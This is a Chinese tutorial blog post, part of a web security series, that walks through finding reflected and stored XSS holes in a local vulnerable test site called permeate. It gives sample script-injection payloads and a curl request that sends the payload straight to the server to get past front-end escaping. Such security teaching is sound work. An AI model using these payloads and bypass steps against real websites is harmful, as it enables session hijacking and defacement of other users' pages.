Web安全系列（三）：XSS 攻击进阶（挖掘漏洞）

前言

在前些章节 （web安全系列（一）：XSS 攻击基础及原理）以及（Web安全系列（二）：XSS 攻击进阶（初探 XSS Payload））中，我详细介绍了 XSS 造成的原理以及 XSS 攻击的分类，而且编写了一个小栗子来展现出 XSS Payload 的危害。

目前来讲，XSS 的漏洞类型主要分为三类：反射型、存储型、DOM型，在本篇文章当中会以permeate生态测试系统为例，分析网站功能，引导攻击思路，帮助读者可以快速找出网站可能存在的漏洞。

反射型 XSS 挖掘

如今笔者须要进行手工XSS漏洞挖掘，在手工挖掘以前笔者须要先逛逛网站有哪些功能点，以下图是permeate的界面

思路分析

咱们知道反射型 XSS ，大可能是经过 URL 传播的，那么我就须要思考哪些地方会出现让 URL 地址的参数在页面中显示，我相信大部分读者脑中第一直觉就是搜索栏，尤为是一些大型网站的站内搜索，搜索的关键词会展现在当前的页面中。例如某搜索引擎：

而在咱们测试的首页也有网站搜索功能，所以咱们能够从搜索功能着手测试，尝试是否能够进行 XSS Payload，咱们先输入一个简单的 Payload 进行测试，测试代码为<img onerror="alert(1)" src=1 />

当咱们点击搜索按钮时，URL 应当自动改变为 http://localhost:8888/home/search.php?keywords=<img onerror="alert(1)" src=1 />

操做过程

咱们进行尝试：

先输入搜索内容

再进行搜索

咱们发现，Google Chrome 竟然直接阻止了该事件，Payload 也没有进行触发，这里我就须要跟读者说一下了，Chrome 浏览器的内核自带 XSS 筛选器，对于反射型 XSS 会自动进行拦截，因此尽可能不要用 Chrome 进行测试，咱们改用火狐继续进行测试：

果真，直接触发了咱们的 Payload 。

结果分析

此 Payload 被触发，说明咱们找到了一个反射型 XSS 的漏洞，固然，这种漏洞很是初级，绝大部分网站都进行了过滤操做，再加上随着浏览器功能愈来愈强大，浏览器自带的 XSS 筛选器变得更加智能，这种漏洞会愈来愈少见，下面我将会测试更为常见的存储型 XSS 的挖掘与并介绍如何绕过。

存储型 XSS 挖掘

思路分析

存储型 XSS 的攻击代码是存在服务器端，所以，咱们须要找到该网站将数据存储到后端的功能，咱们对此网站有了必定了解，会发现 permeate 拥有发帖和回帖功能，这正是 Web 端和后台进行沟通的渠道，全部帖子信息都会存在服务端，有了这些信息，咱们能够进入板块，进行发帖操做：

进入发帖界面：

检测漏洞

咱们如今标题和内容里填上初级的 Payload ：123<script>alert('123')</script>

咱们进行发表操做：

页面直接执行了咱们的 Payload，咱们点完肯定，查看列表：

咱们进入帖子内部，会发现以下场景：

很明显，文章主体部分的 Payload 并无执行，这究竟是怎么一回事呢？

抓包

为何标题内容能够 Payload，主体内容不能 Payload 呢，咱们打开控制台，切到Network 再来发一篇帖子看看：

咱们能够看到对应的内容已经通过转义，转义分为两种，前端转义和后端转义，若是是后端转义一般咱们就不须要测试下去了，由于咱们不知道服务端的内部代码，若是是前端转义则能够绕过这个限制。

那么该如何操做呢？

咱们拷贝出 URL

curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=%3Cp%3E123%26lt%3Bscript%26gt%3Bconsole.log%28232%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E' --compressed

找到其中的 title 和 content，将 content 的内容替换为 title 的内容：

curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E' --compressed

替换完成以后，将此内容复制到终端进行运行：

回到主页面查看相关内容：

Payload 执行了两次，内容也被攻击了。

结果分析

看到此处说明咱们已经成功绕过前端XSS过滤器，直接对内容进行修改，因此后端的转义有时候也颇有必要。

总结

挖掘漏洞是一个复杂的过程，手工挖掘不失为一种可靠的方式，可是手动挖掘效率低下，有时还要看运气，目前已经出现不少自动检测 XSS 漏洞的工具以及平台，大大提升发现漏洞的效率，我将在稍后的章节中介绍一些工具以及如何防护 XSS。